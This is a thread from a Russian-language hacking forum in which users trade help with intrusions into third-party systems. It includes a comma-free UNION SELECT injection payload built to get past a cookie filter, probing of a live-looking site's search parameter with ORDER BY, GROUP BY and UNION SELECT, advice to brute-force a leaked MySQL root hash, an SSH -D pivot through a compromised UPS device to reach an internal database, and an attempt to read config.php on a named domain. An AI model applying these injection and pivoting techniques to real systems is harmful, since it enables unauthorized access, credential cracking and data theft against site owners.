ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
18.08.2016, 10:41
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от demafly76
demafly76 said:
↑
ok, спс! получилось, root::*4F23645A18ABD4FACEB00C9BCC5C1C238396B5E2
реально пароль вытащить? Пробуйте брутеть по словарикам, грубым перебором, тема /threads/218185/ - Софт для брута или чекайте на паблик сервисах, на наличие уже сбрученых паролей
|
|
|
18.08.2016, 12:50
|
|
Guest
Сообщений: n/a
Провел на форуме:
760
Репутация:
0
|
|
Чем можно заменить(обойти) запятую при запросе ( UNION SELECT 1,2,3.... )
на сервере код:
Код:
Code:
$cookie=explode(',', $cookie);
|
|
|
|
18.08.2016, 12:59
|
|
Guest
Сообщений: n/a
Провел на форуме:
238786
Репутация:
40
|
|
Сообщение от myblitz
myblitz said:
↑
Чем можно заменить(обойти) запятую при запросе ( UNION SELECT 1,2,3.... )
на сервере код:
Код:
Code:
$cookie=explode(',', $cookie);
Джоин
|
|
|
|
18.08.2016, 13:01
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
Сообщение от myblitz
myblitz said:
↑
Чем можно заменить(обойти) запятую при запросе ( UNION SELECT 1,2,3.... )
на сервере код:
Код:
Code:
$cookie=explode(',', $cookie);
union (select*from(select 1)a1 join(select 2)a2 join (select 3)a3
|
|
|
|
19.08.2016, 09:03
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Есть доступ к модему в сети A. В сети A есть SQL-сервер, который подключения с чужих IP не принимает. Модель модема в сети A - APC7932. Возможно ли поднять прокси/etc. на модеме, чтобы подключиться к базе?
|
|
|
|
22.08.2016, 17:11
|
|
Guest
Сообщений: n/a
Провел на форуме:
2153
Репутация:
0
|
|
Нашел на сайте SQL Injection:
http://site.ru/search/?num=13750-01a'
с такой ошибкой:
Database error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
но не могу определить количество столбцов. Через GROUP BYопределить никак не получается. Делал так:
http://site.ru/search/?num=13750-01a' GROUP BY 2 --
Database error:Unknown column '2' in 'group statement'
если выводится такая ошибка, значит количество столбцов меньше 2, что странно. Естественно далее делаю так:
http://site.ru/search/?num=13750-01a' GROUP BY 1 --
Database error:Can't group on 'cnt'
что за ошибка такая? Гугл не помог.
А вотORDER BYработает немного по другому:
http://site.ru/search/?num=13750-01a' ORDER BY 2 --
Database error:Unknown column '2' in 'order clause'
тут все как и в первом случае. А если сделать так:
http://site.ru/search/?num=13750-01a' ORDER BY 1 --
то никаких ошибок нет и все отображается нормально, в отличии от первого варианта сGROUP BY.
И чтобы окончательно убедиться делал так:
http://site.ru/search/?num=13750-01a' UNION SELECT 1 --
Database error:The used SELECT statements have a different number of columns
причем пробовал указывать вUNION SELECTнесколько столбцов, вплоть до 10, но ошибка не меняется.
В общем, требуется помощь. |
|
|
|
22.08.2016, 17:21
|
|
Guest
Сообщений: n/a
Провел на форуме:
238786
Репутация:
40
|
|
Сообщение от [XOR
"]
[XOR] said:
↑
Нашел на сайте SQL Injection:
http://site.ru/search/?num=13750-01a'
с такой ошибкой:
Database error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
но не могу определить количество столбцов. Через
GROUP BY
определить никак не получается. Делал так:
http://site.ru/search/?num=13750-01a' GROUP BY 2 --
Database error:Unknown column '2' in 'group statement'
если выводится такая ошибка, значит количество столбцов меньше 2, что странно. Естественно далее делаю так:
http://site.ru/search/?num=13750-01a' GROUP BY 1 --
Database error:Can't group on 'cnt'
что за ошибка такая? Гугл не помог.
А вот
ORDER BY
работает немного по другому:
http://site.ru/search/?num=13750-01a' ORDER BY 2 --
Database error:Unknown column '2' in 'order clause'
тут все как и в первом случае. А если сделать так:
http://site.ru/search/?num=13750-01a' ORDER BY 1 --
то никаких ошибок нет и все отображается нормально, в отличии от первого варианта с
GROUP BY
.
И чтобы окончательно убедиться делал так:
http://site.ru/search/?num=13750-01a' UNION SELECT 1 --
Database error:The used SELECT statements have a different number of columns
причем пробовал указывать в
UNION SELECT
несколько столбцов, вплоть до 10, но ошибка не меняется.
В общем, требуется помощь.union+select+concan(user())
Вариантов много может быть.
Пробуйте лучше еррор
|
|
|
|
24.08.2016, 13:07
|
|
Guest
Сообщений: n/a
Провел на форуме:
2726
Репутация:
2
|
|
Сообщение от Ereee
Ereee said:
↑
Есть доступ к модему в сети A. В сети A есть SQL-сервер, который подключения с чужих IP не принимает. Модель модема в сети A - APC7932. Возможно ли поднять прокси/etc. на модеме, чтобы подключиться к базе? APC7932 - гугл выдает что это ИБП стоечный. Если и вправду ИБП, то посмотри, можно ли там включить доступ по SSH. Если можно, то законекться к нему с параметром -D
|
|
|
|
24.08.2016, 15:30
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от korneev
korneev said:
↑
APC7932 - гугл выдает что это ИБП стоечный. Если и вправду ИБП, то посмотри, можно ли там включить доступ по SSH. Если можно, то законекться к нему с параметром -D Включил SSH, вырубился Telnet. SSH тоже не работает. Прогуглив узнал, что прошивка у этих моделей бажная. Так что все, кто встретят такие модели - поосторожней. Все равно спасибо!
|
|
|
|
26.08.2016, 14:30
|
|
Guest
Сообщений: n/a
Провел на форуме:
9612
Репутация:
0
|
|
http://sirus.su/in.php Что можно извлечь полезного ? sirus.su?robots.txt?file=config.php можно ли так прочитать данный файл, где то я видел видео на эту тему.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [XOR]](/avatars/avatar.jpg?3983864){kind=avatar}
Линейный вид
